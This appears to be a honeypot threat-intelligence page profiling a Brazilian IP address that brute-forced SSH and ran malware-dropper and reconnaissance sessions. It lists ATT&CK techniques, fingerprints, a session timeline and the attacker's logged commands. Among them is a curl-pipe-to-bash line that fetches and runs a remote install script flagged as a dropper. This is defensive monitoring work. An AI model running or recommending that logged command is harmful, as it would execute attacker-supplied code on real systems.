IntrusionLabs IntrusionLabs
← Back to feed

170.239.1.163

Threat Confidence
41%
Location
🇧🇷 BR / Parauapebas
ASN
AS52878 · REDE DE TELECOMUNICACOES CARAJAS LTDA
Cloud Provider
—
Total Events
276
Above average by volume
Agent Count
1
First / Last Seen
2026-08-24 03:50 — 2026-08-24 04:33
Attack Types
ssh:bruteforce
MITRE ATT&CK Techniques
Reconnaissance
T1595 T1595.002
Initial Access
T1078
Execution
T1059.004
Credential Access
T1110 T1110.001
Discovery
T1016 T1046 T1082 T1083
Command and Control
T1105
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
scanner ×2 reconnaissance ×15 malware_dropper ×8 credential_probe ×8 interactive_operator ×1 opportunistic_bruter ×1
Sessions
35 (25 with login)
Avg Depth Score
0.58
Commands Executed
28
Files Downloaded
8
Notable Commands
  • cat /tmp/d
  • wget github.com -O /tmp/d
  • cat /root/index.html
  • cat index.html
  • cat *html
  • wget github.com
  • curl -L github.com
  • curl github.com
  • id
  • ps aux
  • ps qux
  • curl ifconfig.me
  • curl
  • lscpu
  • date
  • ls
  • curl -L https://github.com/atilabyte/golang/raw/refs/heads/master/scripts/install.sh | bash
  • clear
Download URLs
  • http://github.com
  • http://ifconfig.me
  • https://github.com/atilabyte/golang/raw/refs/heads/master/scripts/install.sh
Fingerprints
HASSH
06046964c022c6407d15a27b12a6a4fb16443846184eafde36765c9bab2f4397eeca2460550b9ded084ecf2f70a75356
SSH Client
SSH-2.0-GoSSH-2.0-OpenSSH_10.2SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.7
Evidence Timeline
Reconnaissance 0d27350e6fbf w4m_seattle_01 · 2026-08-24 04:33
1 1 60%
Loading events...
Malware Dropper 60a7c5ec32e0 w4m_seattle_01 · 2026-08-24 04:33
1 1 1 100%
Loading events...
Reconnaissance 1fd0e0140b62 w4m_seattle_01 · 2026-08-24 04:32
1 1 60%
Loading events...
Reconnaissance bfdc8069d92a w4m_seattle_01 · 2026-08-24 04:32
1 1 60%
Loading events...
Reconnaissance b66dbc14c94e w4m_seattle_01 · 2026-08-24 04:32
1 1 60%
Loading events...
Malware Dropper 7127ae229bfb w4m_seattle_01 · 2026-08-24 04:32
1 1 1 100%
Loading events...
Malware Dropper 6d88d229c09e w4m_seattle_01 · 2026-08-24 04:32
1 1 1 100%
Loading events...
Malware Dropper 01a4818f7d33 w4m_seattle_01 · 2026-08-24 04:32
1 1 1 100%
Loading events...
Reconnaissance 91325e9cc70f w4m_seattle_01 · 2026-08-24 04:31
1 1 60%
Loading events...
Reconnaissance fec145cf031f w4m_seattle_01 · 2026-08-24 04:31
1 1 60%
Loading events...
Scanner 78ad89945515 w4m_seattle_01 · 2026-08-24 04:31
15%
Loading events...
Reconnaissance 7d6cb4ecd3df w4m_seattle_01 · 2026-08-24 04:29
1 1 60%
Loading events...
Malware Dropper a908fa021ea8 w4m_seattle_01 · 2026-08-24 04:29
1 1 1 100%
Loading events...
Reconnaissance f9ccead89f19 w4m_seattle_01 · 2026-08-24 04:29
1 1 60%
Loading events...
Malware Dropper c8b9c5b58241 w4m_seattle_01 · 2026-08-24 04:29
1 1 1 100%
Loading events...
Reconnaissance 2a06d31a0574 w4m_seattle_01 · 2026-08-24 04:28
1 1 60%
Loading events...
Reconnaissance 77a89ba6194d w4m_seattle_01 · 2026-08-24 04:28
1 1 60%
Loading events...
Reconnaissance a20ff3043f2c w4m_seattle_01 · 2026-08-24 04:28
1 1 60%
Loading events...
Reconnaissance 34a9185e8d26 w4m_seattle_01 · 2026-08-24 04:28
1 1 60%
Loading events...
Reconnaissance eb40e7367b66 w4m_seattle_01 · 2026-08-24 04:28
1 1 60%
Loading events...
Opportunistic Bruter 5548f7643732 w4m_seattle_01 · 2026-08-24 04:27
1 50%
Loading events...
Reconnaissance c844d72366b2 w4m_seattle_01 · 2026-08-24 04:27
1 1 60%
Loading events...
Reconnaissance 33e998d5f1bd w4m_seattle_01 · 2026-08-24 04:27
1 1 60%
Loading events...
Credential Probe 432da7a62b48 w4m_seattle_01 · 2026-08-24 04:03
1 20%
Loading events...
Credential Probe 2b13a7974fa1 w4m_seattle_01 · 2026-08-24 04:03
1 20%
Loading events...
Malware Dropper c2af4c6e0911 w4m_seattle_01 · 2026-08-24 04:03
1 1 1 100%
Loading events...
Credential Probe e17b972b9360 w4m_seattle_01 · 2026-08-24 04:03
1 20%
Loading events...
Interactive Operator cdb9e22a81a4 w4m_seattle_01 · 2026-08-24 03:58
5 2 90%
Loading events...
Credential Probe 689d8ebd97c4 w4m_seattle_01 · 2026-08-24 03:57
2 25%
Loading events...
Credential Probe 9c09f88c0f56 w4m_seattle_01 · 2026-08-24 03:57
1 20%
Loading events...
Scanner 4e8011a6a29b w4m_seattle_01 · 2026-08-24 03:56
15%
Loading events...
Credential Probe 359857d4a363 w4m_seattle_01 · 2026-08-24 03:50
1 20%
Loading events...
Credential Probe 021d737e9159 w4m_seattle_01 · 2026-08-24 03:50
1 20%
Loading events...
Malware Dropper c6b94332b77d w4m_seattle_01 · 2026-08-24 03:50
1 1 1 100%
Loading events...
Credential Probe c6463a8d7d09 w4m_seattle_01 · 2026-08-24 03:50
1 20%
Loading events...
{# Cloudflare Web Analytics — cookieless, public pages only. The context processor withholds the token from authenticated requests. #}